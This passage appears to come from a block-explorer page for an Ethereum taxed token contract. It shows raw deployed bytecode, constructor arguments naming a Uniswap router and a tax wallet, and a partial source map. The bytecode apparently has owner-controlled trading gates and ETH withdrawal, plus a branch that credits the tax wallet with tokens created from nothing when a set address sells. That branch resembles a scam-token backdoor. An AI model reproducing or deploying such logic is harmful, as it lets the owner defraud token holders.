004611939565b6001600160a01b03165f9081526010602052604090205490565b348015610343575f80fd5b506101d2610701565b348015610357575f80fd5b506101d261074a565b34801561036b575f80fd5b506101d261078f565b34801561037f575f80fd5b506101d261038e36600461188d565b610826565b34801561039e575f80fd5b505f546001600160a01b0316610207565b3480156103ba575f80fd5b5060408051808201909152600681526522a624ac24a960d11b602082015261016e565b3480156103e8575f80fd5b506101a36103f736600461188d565b610975565b348015610407575f80fd5b506101d26104163660046118c4565b610981565b348015610426575f80fd5b5061023361043536600461195b565b6001600160a01b039182165f90815260116020908152604080832093909416825291909152205490565b34801561046a575f80fd5b506101d26109e3565b5f61047f338484610d3b565b5060015b92915050565b3361049b5f546001600160a01b031690565b6001600160a01b0316146104ca5760405162461bcd60e51b81526004016104c190611987565b60405180910390fd5b6015546001600160a01b03908116908316036105285760405162461bcd60e51b815260206004820152601a60248201527f54686520706169722063616e6e6f742062652072656d6f76656400000000000060448201526064016104c1565b6001600160a01b03919091165f908152601460205260409020805460ff1916911515919091179055565b5f61055f6009600a611ab0565b61056e906461f313f880611abe565b905090565b336105855f546001600160a01b031690565b6001600160a01b0316146105ab5760405162461bcd60e51b81526004016104c190611987565b5f47116105b6575f80fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156105ed573d5f803e3d5ffd5b50565b6001600160a01b0383165f9081526011602090815260408083203384529091528120545f198114610689578281101561067c5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016104c1565b6106898533858403610d3b565b610694858585610e5e565b506001949350505050565b336106b15f546001600160a01b031690565b6001600160a01b0316146106d75760405162461bcd60e51b81526004016104c190611987565b6001600160a01b03919091165f908152601260205260409020805460ff1916911515919091179055565b336107135f546001600160a01b031690565b6001600160a01b0316146107395760405162461bcd60e51b81526004016104c190611987565b5f80546001600160a01b0319169055565b3361075c5f546001600160a01b031690565b6001600160a01b0316146107825760405162461bcd60e51b81526004016104c190611987565b600f805461ff0019169055565b336107a15f546001600160a01b031690565b6001600160a01b0316146107c75760405162461bcd60e51b81526004016104c190611987565b600f5462010000900460ff16156108135760405162461bcd60e51b815260206004820152601060248201526f105b1c9958591e481b185d5b98da195960821b60448201526064016104c1565b600f805462ff0000191662010000179055565b336108385f546001600160a01b031690565b6001600160a01b03161461085e5760405162461bcd60e51b81526004016104c190611987565b6040516370a0823160e01b81523060048201525f9060649083906001600160a01b038616906370a0823190602401602060405180830381865afa1580156108a7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108cb9190611ad5565b6108d59190611abe565b6108df9190611aec565b9050826001600160a01b031663a9059cbb6109015f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af115801561094b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061096f9190611b0b565b50505050565b5f61047f338484610e5e565b336109935f546001600160a01b031690565b6001600160a01b0316146109b95760405162461bcd60e51b81526004016104c190611987565b6001600160a01b03919091165f908152601360205260409020805460ff1916911515919091179055565b336109f55f546001600160a01b031690565b6001600160a01b031614610a1b5760405162461bcd60e51b81526004016104c190611987565b600f5462010000900460ff1615610a675760405162461bcd60e51b815260206004820152601060248201526f105b1c9958591e481b185d5b98da195960821b60448201526064016104c1565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ac3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ae79190611b26565b6001600160a01b031663c9c65396307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b52573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b769190611b26565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610bc0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610be49190611b26565b601580546001600160a01b0319166001600160a01b0392831690811782555f908152601460205260409020805460ff191660019081179091559054610c2a921690610981565b610c56307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d5f19610d3b565b305f818152601060205260408120546001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169263f305d7199247929080610cab5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610d11573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d369190611b41565b505050565b6001600160a01b038316610d9d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c1565b6001600160a01b038216610dfe5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c1565b6001600160a01b038381165f8181526011602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ec25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c1565b6001600160a01b038216610f245760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c1565b5f8111610f855760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c1565b600f5462010000900460ff16158015610fab57505f546001600160a01b03848116911614155b8015610fc057506001600160a01b0383163014155b8015610fd957505f546001600160a01b03838116911614155b1561101c5760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b60448201526064016104c1565b600f54610100900460ff16156112d4575f546001600160a01b0384811691161480159061105657505f546001600160a01b03838116911614155b801561106a57506001600160a01b03821615155b801561108157506001600160a01b03821661dead14155b80156110905750600f5460ff16155b156112d4576001600160a01b0383165f9081526014602052604090205460ff1680156110d457506001600160a01b0382165f9081526013602052604090205460ff16155b156111a7576001548111156111395760405162461bcd60e51b815260206004820152602560248201527f427579207472616e7366657220616d6f756e74206578636565647320746865206044820152640dac2f0a8f60db1b60648201526084016104c1565b6002546001600160a01b0383165f9081526010602052604090205461115e9083611b6c565b11156111a25760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016104c1565b6112d4565b6001600160a01b0382165f9081526014602052604090205460ff1680156111e657506001600160a01b0383165f9081526013602052604090205460ff16155b1561124c576001548111156111a25760405162461bcd60e51b815260206004820152602660248201527f53656c6c207472616e7366657220616d6f756e74206578636565647320746865604482015265040dac2f0a8f60d31b60648201526084016104c1565b6001600160a01b0382165f9081526013602052604090205460ff166112d4576002546001600160a01b0383165f908152601060205260409020546112909083611b6c565b11156112d45760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016104c1565b600354305f90815260106020526040902054101580156112f75750600f5460ff16155b801561131a57506001600160a01b0382165f9081526014602052604090205460ff165b801561133e57506001600160a01b0383165f9081526012602052604090205460ff16155b801561136257506001600160a01b0382165f9081526012602052604090205460ff16155b1561138757600f805460ff1916600117905561137c61168b565b600f805460ff191690555b600f5462010000900460ff1680156113b657506001600160a01b0382165f9081526014602052604090205460ff165b156113c4576113c447611809565b600f546001600160a01b0384165f9081526012602052604090205460ff9182161591168061140957506001600160a01b0383165f9081526012602052604090205460ff165b1561141157505f5b5f81156114d0576001600160a01b0384165f9081526014602052604090205460ff161561146c576064600c54600e541161144d57600854611451565b600a545b61145b9085611abe565b6114659190611aec565b90506114d0565b6001600160a01b0385165f9081526014602052604090205460ff16156114d0576064600b54600e54116114a1576007546114a5565b6009545b6114af9085611abe565b6114b99190611aec565b600e80549192505f6114ca83611b7f565b91905055505b6001600160a01b0384165f9081526014602052604090205460ff16801561150457506006546001600160a01b038681169116145b15611538576005546001600160a01b03165f9081526010602052604081208054859290611532908490611b6c565b90915550505b80156115dd576115488184611b97565b6001600160a01b0386165f90815260106020526040812080549295508392909190611574908490611b97565b9091555050305f9081526010602052604081208054839290611597908490611b6c565b909155505060405181815230906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b6001600160a01b0385165f9081526010602052604081208054859290611604908490611b97565b90915550506001600160a01b0384165f9081526010602052604081208054859290611630908490611b6c565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161167c91815260200190565b60405180910390a35050505050565b6004546040805160028082526060820183525f9260208301908036833701905050905030815f815181106116c1576116c1611baa565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561173d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117619190611b26565b8160018151811061177457611774611baa565b6001600160a01b03928316602091820292909201015260405163791ac94760e01b81527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d9091169063791ac947906117d89085905f90869030904290600401611bbe565b5f604051808303815f87803b1580156117ef575f80fd5b505af1158015611801573d5f803e3d5ffd5b505050505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611840573d5f803e3d5ffd5b5050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146105ed575f80fd5b5f806040838503121561189e575f80fd5b82356118a981611879565b946020939093013593505050565b80151581146105ed575f80fd5b5f80604083850312156118d5575f80fd5b82356118e081611879565b915060208301356118f0816118b7565b809150509250929050565b5f805f6060848603121561190d575f80fd5b833561191881611879565b9250602084013561192881611879565b929592945050506040919091013590565b5f60208284031215611949575f80fd5b813561195481611879565b9392505050565b5f806040838503121561196c575f80fd5b823561197781611879565b915060208301356118f081611879565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115611a0a57815f19048211156119f0576119f06119bc565b808516156119fd57918102915b93841c93908002906119d5565b509250929050565b5f82611a2057506001610483565b81611a2c57505f610483565b8160018114611a425760028114611a4c57611a68565b6001915050610483565b60ff841115611a5d57611a5d6119bc565b50506001821b610483565b5060208310610133831016604e8410600b8410161715611a8b575081810a610483565b611a9583836119d0565b805f1904821115611aa857611aa86119bc565b029392505050565b5f61195460ff841683611a12565b8082028115828204841417610483576104836119bc565b5f60208284031215611ae5575f80fd5b5051919050565b5f82611b0657634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215611b1b575f80fd5b8151611954816118b7565b5f60208284031215611b36575f80fd5b815161195481611879565b5f805f60608486031215611b53575f80fd5b8351925060208401519150604084015190509250925092565b80820180821115610483576104836119bc565b5f60018201611b9057611b906119bc565b5060010190565b81810381811115610483576104836119bc565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611c0e5784516001600160a01b031683529383019391830191600101611be9565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220d43703729f1fa9bb34b749af727f124b1639cb3988158c3aec601420b0d161fe64736f6c63430008190033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d00000000000000000000000077955e0c1e2064ff6cca66b7344b2005b58783f5

-----Decoded View---------------
Arg [0] : router_ (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : taxWallet_ (address): 0x77955e0c1e2064FF6CCA66B7344b2005B58783f5

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 00000000000000000000000077955e0c1e2064ff6cca66b7344b2005b58783f5


Deployed Bytecode Sourcemap

2134:9093:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4192:83;;;;;;;;;;-1:-1:-1;4262:5:0;;;;;;;;;;;;-1:-1:-1;;;4262:5:0;;;;4192:83;;;;;;;:::i;:::-;;;;;;;;4824:152;;;;;;;;;;-1:-1:-1;4824:152:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;4824:152:0;893:187:1;9792:177:0;;;;;;;;;;-1:-1:-1;9792:177:0;;;;;:::i;:::-;;:::i;:::-;;3426:51;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;1785:32:1;;;1767:51;;1755:2;1740:18;3426:51:0;1595:229:1;4469:87:0;;;;;;;;;;;;;:::i;:::-;;;1975:25:1;;;1963:2;1948:18;4469:87:0;1829:177:1;10626:152:0;;;;;;;;;;;;;:::i;5495:520::-;;;;;;;;;;-1:-1:-1;5495:520:0;;;;;:::i;:::-;;:::i;4378:83::-;;;;;;;;;;-1:-1:-1;4378:83:0;;2328:1;2614:36:1;;2602:2;2587:18;4378:83:0;2472:184:1;11112:110:0;;;;;;;;;;-1:-1:-1;11112:110:0;;;;;:::i;:::-;-1:-1:-1;;;;;11195:19:0;11171:4;11195:19;;;:10;:19;;;;;;;;;11112:110;3484:28;;;;;;;;;;-1:-1:-1;3484:28:0;;;;-1:-1:-1;;;;;3484:28:0;;;10977:127;;;;;;;;;;-1:-1:-1;10977:127:0;;;;;:::i;:::-;;:::i;4564:110::-;;;;;;;;;;-1:-1:-1;4564:110:0;;;;;:::i;:::-;-1:-1:-1;;;;;4648:18:0;4621:7;4648:18;;;:9;:18;;;;;;;4564:110;673:92;;;;;;;;;;;;;:::i;10886:83::-;;;;;;;;;;;;;:::i;8995:141::-;;;;;;;;;;;;;:::i;10368:250::-;;;;;;;;;;-1:-1:-1;10368:250:0;;;;;:::i;:::-;;:::i;452:87::-;;;;;;;;;;-1:-1:-1;498:7:0;525:6;-1:-1:-1;;;;;525:6:0;452:87;;4283;;;;;;;;;;-1:-1:-1;4355:7:0;;;;;;;;;;;;-1:-1:-1;;;4355:7:0;;;;4283:87;;5329:158;;;;;;;;;;-1:-1:-1;5329:158:0;;;;;:::i;:::-;;:::i;8860:127::-;;;;;;;;;;-1:-1:-1;8860:127:0;;;;;:::i;:::-;;:::i;4682:134::-;;;;;;;;;;-1:-1:-1;4682:134:0;;;;;:::i;:::-;-1:-1:-1;;;;;4781:18:0;;;4754:7;4781:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4682:134;9144:640;;;;;;;;;;;;;:::i;4824:152::-;4892:4;4909:37;4918:10;4930:7;4939:6;4909:8;:37::i;:::-;-1:-1:-1;4964:4:0;4824:152;;;;;:::o;9792:177::-;598:10;587:7;498;525:6;-1:-1:-1;;;;;525:6:0;;452:87;587:7;-1:-1:-1;;;;;587:21:0;;579:66;;;;-1:-1:-1;;;579:66:0;;;;;;;:::i;:::-;;;;;;;;;9884:13:::1;::::0;-1:-1:-1;;;;;9884:13:0;;::::1;9876:21:::0;;::::1;::::0;9868:60:::1;;;::::0;-1:-1:-1;;;9868:60:0;;4077:2:1;9868:60:0::1;::::0;::::1;4059:21:1::0;4116:2;4096:18;;;4089:30;4155:28;4135:18;;;4128:56;4201:18;;9868:60:0::1;3875:350:1::0;9868:60:0::1;-1:-1:-1::0;;;;;9939:14:0;;;::::1;;::::0;;;:8:::1;:14;::::0;;;;:22;;-1:-1:-1;;9939:22:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9792:177::o;4469:87::-;4513:7;2390:13;2328:1;2390:2;:13;:::i;:::-;2372:31;;:15;:31;:::i;:::-;4533:15;;4469:87;:::o;10626:152::-;598:10;587:7;498;525:6;-1:-1:-1;;;;;525:6:0;;452:87;587:7;-1:-1:-1;;;;;587:21:0;;579:66;;;;-1:-1:-1;;;579:66:0;;;;;;;:::i;:::-;10709:1:::1;10685:21;:25;10677:34;;;::::0;::::1;;498:7:::0;525:6;;10722:48:::1;::::0;-1:-1:-1;;;;;525:6:0;;;;10748:21:::1;10722:48:::0;::::1;;;::::0;10748:21;;10722:48;498:7;10722:48;10748:21;525:6;10722:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10626:152::o:0;5495:520::-;-1:-1:-1;;;;;5630:19:0;;5586:4;5630:19;;;:11;:19;;;;;;;;5650:10;5630:31;;;;;;;;-1:-1:-1;;5676:37:0;;5672:263;;5758:6;5738:16;:26;;5730:79;;;;-1:-1:-1;;;5730:79:0;;6114:2:1;5730:79:0;;;6096:21:1;6153:2;6133:18;;;6126:30;6192:34;6172:18;;;6165:62;-1:-1:-1;;;6243:18:1;;;6236:38;6291:19;;5730:79:0;5912:404:1;5730:79:0;5853:55;5862:6;5870:10;5901:6;5882:16;:25;5853:8;:55::i;:::-;5947:36;5957:6;5965:9;5976:6;5947:9;:36::i;:::-;-1:-1:-1;6003:4:0;;5495:520;-1:-1:-1;;;;5495:520:0:o;10977:127::-;598:10;587:7;498;525:6;-1:-1:-1;;;;;525:6:0;;452:87;587:7;-1:-1:-1;;;;;587:21:0;;579:66;;;;-1:-1:-1;;;579:66:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11066:19:0;;;::::1;;::::0;;;:10:::1;:19;::::0;;;;:30;;-1:-1:-1;;11066:30:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10977:127::o;673:92::-;598:10;587:7;498;525:6;-1:-1:-1;;;;;525:6:0;;452:87;587:7;-1:-1:-1;;;;;587:21:0;;579:66;;;;-1:-1:-1;;;579:66:0;;;;;;;:::i;:::-;755:1:::1;738:19:::0;;-1:-1:-1;;;;;;738:19:0::1;::::0;;673:92::o;10886:83::-;598:10;587:7;498;525:6;-1:-1:-1;;;;;525:6:0;;452:87;587:7;-1:-1:-1;;;;;587:21:0;;579:66;;;;-1:-1:-1;;;579:66:0;;;;;;;:::i;:::-;10940:13:::1;:21:::0;;-1:-1:-1;;10940:21:0::1;::::0;;10886:83::o;8995:141::-;598:10;587:7;498;525:6;-1:-1:-1;;;;;525:6:0;;452:87;587:7;-1:-1:-1;;;;;587:21:0;;579:66;;;;-1:-1:-1;;;579:66:0;;;;;;;:::i;:::-;9059:15:::1;::::0;;;::::1;;;9058:16;9050:45;;;::::0;-1:-1:-1;;;9050:45:0;;6523:2:1;9050:45:0::1;::::0;::::1;6505:21:1::0;6562:2;6542:18;;;6535:30;-1:-1:-1;;;6581:18:1;;;6574:46;6637:18;;9050:45:0::1;6321:340:1::0;9050:45:0::1;9106:15;:22:::0;;-1:-1:-1;;9106:22:0::1;::::0;::::1;::::0;;8995:141::o;10368:250::-;598:10;587:7;498;525:6;-1:-1:-1;;;;;525:6:0;;452:87;587:7;-1:-1:-1;;;;;587:21:0;;579:66;;;;-1:-1:-1;;;579:66:0;;;;;;;:::i;:::-;10472:55:::1;::::0;-1:-1:-1;;;10472:55:0;;10521:4:::1;10472:55;::::0;::::1;1767:51:1::0;10454:15:0::1;::::0;10553:3:::1;::::0;10543:7;;-1:-1:-1;;;;;10472:40:0;::::1;::::0;::::1;::::0;1740:18:1;;10472:55:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:78;;;;:::i;:::-;:84;;;;:::i;:::-;10454:102;;10574:8;-1:-1:-1::0;;;;;10567:25:0::1;;10593:7;498::::0;525:6;-1:-1:-1;;;;;525:6:0;;452:87;10593:7:::1;10567:43;::::0;-1:-1:-1;;;;;;10567:43:0::1;::::0;;;;;;-1:-1:-1;;;;;7269:32:1;;;10567:43:0::1;::::0;::::1;7251:51:1::0;7318:18;;;7311:34;;;7224:18;;10567:43:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10443:175;10368:250:::0;;:::o;5329:158::-;5400:4;5417:40;5427:10;5439:9;5450:6;5417:9;:40::i;8860:127::-;598:10;587:7;498;525:6;-1:-1:-1;;;;;525:6:0;;452:87;587:7;-1:-1:-1;;;;;587:21:0;;579:66;;;;-1:-1:-1;;;579:66:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8947:21:0;;;::::1;;::::0;;;:12:::1;:21;::::0;;;;:32;;-1:-1:-1;;8947:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8860:127::o;9144:640::-;598:10;587:7;498;525:6;-1:-1:-1;;;;;525:6:0;;452:87;587:7;-1:-1:-1;;;;;587:21:0;;579:66;;;;-1:-1:-1;;;579:66:0;;;;;;;:::i;:::-;9207:15:::1;::::0;;;::::1;;;9206:16;9198:45;;;::::0;-1:-1:-1;;;9198:45:0;;6523:2:1;9198:45:0::1;::::0;::::1;6505:21:1::0;6562:2;6542:18;;;6535:30;-1:-1:-1;;;6581:18:1;;;6574:46;6637:18;;9198:45:0::1;6321:340:1::0;9198:45:0::1;9288:15;-1:-1:-1::0;;;;;9288:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9270:55:0::1;;9334:4;9341:15;-1:-1:-1::0;;;;;9341:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9270:94;::::0;-1:-1:-1;;;;;;9270:94:0::1;::::0;;;;;;-1:-1:-1;;;;;8092:15:1;;;9270:94:0::1;::::0;::::1;8074:34:1::0;8144:15;;8124:18;;;8117:43;8009:18;;9270:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9254:13;:110:::0;;-1:-1:-1;;;;;;9254:110:0::1;-1:-1:-1::0;;;;;9254:110:0;;::::1;::::0;;::::1;::::0;;-1:-1:-1;9375:23:0;;;:8:::1;:23;::::0;;;;:30;;-1:-1:-1;;9375:30:0::1;-1:-1:-1::0;9375:30:0;;::::1;::::0;;;9442:13;;9416:47:::1;::::0;9442:13:::1;::::0;9416:17:::1;:47::i;:::-;9474:68;9491:4;9506:15;-1:-1:-1::0;;9474:8:0::1;:68::i;:::-;9637:4;9657:24;::::0;;;:9:::1;:24;::::0;;;;;-1:-1:-1;;;;;9553:15:0::1;:31;::::0;::::1;::::0;9592:21:::1;::::0;9657:24;;9728:7:::1;498::::0;525:6;-1:-1:-1;;;;;525:6:0;;452:87;9728:7:::1;9553:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;9553:223:0;;;-1:-1:-1;;;;;8530:15:1;;;9553:223:0::1;::::0;::::1;8512:34:1::0;8562:18;;;8555:34;;;;8605:18;;;8598:34;;;;8648:18;;;8641:34;8712:15;;;8691:19;;;8684:44;9750:15:0::1;8744:19:1::0;;;8737:35;8446:19;;9553:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;9144:640::o:0;4984:337::-;-1:-1:-1;;;;;5077:19:0;;5069:68;;;;-1:-1:-1;;;5069:68:0;;9296:2:1;5069:68:0;;;9278:21:1;9335:2;9315:18;;;9308:30;9374:34;9354:18;;;9347:62;-1:-1:-1;;;9425:18:1;;;9418:34;9469:19;;5069:68:0;9094:400:1;5069:68:0;-1:-1:-1;;;;;5156:21:0;;5148:68;;;;-1:-1:-1;;;5148:68:0;;9701:2:1;5148:68:0;;;9683:21:1;9740:2;9720:18;;;9713:30;9779:34;9759:18;;;9752:62;-1:-1:-1;;;9830:18:1;;;9823:32;9872:19;;5148:68:0;9499:398:1;5148:68:0;-1:-1:-1;;;;;5229:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5281:32;;1975:25:1;;;5281:32:0;;1948:18:1;5281:32:0;;;;;;;4984:337;;;:::o;6023:2829::-;-1:-1:-1;;;;;6111:18:0;;6103:68;;;;-1:-1:-1;;;6103:68:0;;10104:2:1;6103:68:0;;;10086:21:1;10143:2;10123:18;;;10116:30;10182:34;10162:18;;;10155:62;-1:-1:-1;;;10233:18:1;;;10226:35;10278:19;;6103:68:0;9902:401:1;6103:68:0;-1:-1:-1;;;;;6190:16:0;;6182:64;;;;-1:-1:-1;;;6182:64:0;;10510:2:1;6182:64:0;;;10492:21:1;10549:2;10529:18;;;10522:30;10588:34;10568:18;;;10561:62;-1:-1:-1;;;10639:18:1;;;10632:33;10682:19;;6182:64:0;10308:399:1;6182:64:0;6274:1;6265:6;:10;6257:64;;;;-1:-1:-1;;;6257:64:0;;10914:2:1;6257:64:0;;;10896:21:1;10953:2;10933:18;;;10926:30;10992:34;10972:18;;;10965:62;-1:-1:-1;;;11043:18:1;;;11036:39;11092:19;;6257:64:0;10712:405:1;6257:64:0;6339:15;;;;;;;6338:16;:48;;;;-1:-1:-1;498:7:0;525:6;-1:-1:-1;;;;;6371:15:0;;;525:6;;6371:15;;6338:48;:86;;;;-1:-1:-1;;;;;;6403:21:0;;6419:4;6403:21;;6338:86;:116;;;;-1:-1:-1;498:7:0;525:6;-1:-1:-1;;;;;6441:13:0;;;525:6;;6441:13;;6338:116;6334:188;;;6481:29;;-1:-1:-1;;;6481:29:0;;11324:2:1;6481:29:0;;;11306:21:1;11363:2;11343:18;;;11336:30;-1:-1:-1;;;11382:18:1;;;11375:49;11441:18;;6481:29:0;11122:343:1;6334:188:0;6538:13;;;;;;;6534:926;;;498:7;525:6;-1:-1:-1;;;;;6572:15:0;;;525:6;;6572:15;;;;:32;;-1:-1:-1;498:7:0;525:6;-1:-1:-1;;;;;6591:13:0;;;525:6;;6591:13;;6572:32;:52;;;;-1:-1:-1;;;;;;6608:16:0;;;;6572:52;:77;;;;-1:-1:-1;;;;;;6628:21:0;;6642:6;6628:21;;6572:77;:90;;;;-1:-1:-1;6654:8:0;;;;6653:9;6572:90;6568:881;;;-1:-1:-1;;;;;6687:14:0;;;;;;:8;:14;;;;;;;;:35;;;;-1:-1:-1;;;;;;6706:16:0;;;;;;:12;:16;;;;;;;;6705:17;6687:35;6683:751;;;6765:20;;6755:6;:30;;6747:80;;;;-1:-1:-1;;;6747:80:0;;11672:2:1;6747:80:0;;;11654:21:1;11711:2;11691:18;;;11684:30;11750:34;11730:18;;;11723:62;-1:-1:-1;;;11801:18:1;;;11794:35;11846:19;;6747:80:0;11470:401:1;6747:80:0;6884:9;;-1:-1:-1;;;;;4648:18:0;;4621:7;4648:18;;;:9;:18;;;;;;6858:22;;:6;:22;:::i;:::-;:35;;6850:67;;;;-1:-1:-1;;;6850:67:0;;12208:2:1;6850:67:0;;;12190:21:1;12247:2;12227:18;;;12220:30;-1:-1:-1;;;12266:18:1;;;12259:49;12325:18;;6850:67:0;12006:343:1;6850:67:0;6683:751;;;-1:-1:-1;;;;;6947:12:0;;;;;;:8;:12;;;;;;;;:35;;;;-1:-1:-1;;;;;;6964:18:0;;;;;;:12;:18;;;;;;;;6963:19;6947:35;6943:491;;;7025:20;;7015:6;:30;;7007:80;;;;-1:-1:-1;;;7007:80:0;;12556:2:1;7007:80:0;;;12538:21:1;12595:2;12575:18;;;12568:30;12634:34;12614:18;;;12607:62;-1:-1:-1;;;12685:18:1;;;12678:36;12731:19;;7007:80:0;12354:402:1;6943:491:0;-1:-1:-1;;;;;7118:16:0;;;;;;:12;:16;;;;;;;;7113:321;;7193:9;;-1:-1:-1;;;;;4648:18:0;;4621:7;4648:18;;;:9;:18;;;;;;7167:22;;:6;:22;:::i;:::-;:35;;7159:67;;;;-1:-1:-1;;;7159:67:0;;12208:2:1;7159:67:0;;;12190:21:1;12247:2;12227:18;;;12220:30;-1:-1:-1;;;12266:18:1;;;12259:49;12325:18;;7159:67:0;12006:343:1;7159:67:0;7504:16;;7494:4;4621:7;4648:18;;;:9;:18;;;;;;7476:44;;:70;;;;-1:-1:-1;7538:8:0;;;;7537:9;7476:70;:99;;;;-1:-1:-1;;;;;;7563:12:0;;;;;;:8;:12;;;;;;;;7476:99;:133;;;;-1:-1:-1;;;;;;7593:16:0;;;;;;:10;:16;;;;;;;;7592:17;7476:133;:165;;;;-1:-1:-1;;;;;;7627:14:0;;;;;;:10;:14;;;;;;;;7626:15;7476:165;7472:279;;;7668:8;:15;;-1:-1:-1;;7668:15:0;7679:4;7668:15;;;7698:10;:8;:10::i;:::-;7723:8;:16;;-1:-1:-1;;7723:16:0;;;7472:279;7774:15;;;;;;;:31;;;;-1:-1:-1;;;;;;7793:12:0;;;;;;:8;:12;;;;;;;;7774:31;7771:67;;;7807:31;7816:21;7807:8;:31::i;:::-;7873:8;;-1:-1:-1;;;;;7898:16:0;;7853;7898;;;:10;:16;;;;;;7873:8;;;;7872:9;;7898:16;;:34;;-1:-1:-1;;;;;;7918:14:0;;;;;;:10;:14;;;;;;;;7898:34;7894:86;;;-1:-1:-1;7963:5:0;7894:86;8000:17;8036:11;8032:363;;;-1:-1:-1;;;;;8068:12:0;;;;;;:8;:12;;;;;;;;8064:320;;;8187:3;8135:16;;8123:9;;:28;:60;;8169:14;;8123:60;;;8154:12;;8123:60;8113:71;;:6;:71;:::i;:::-;:77;;;;:::i;:::-;8101:89;;8064:320;;;-1:-1:-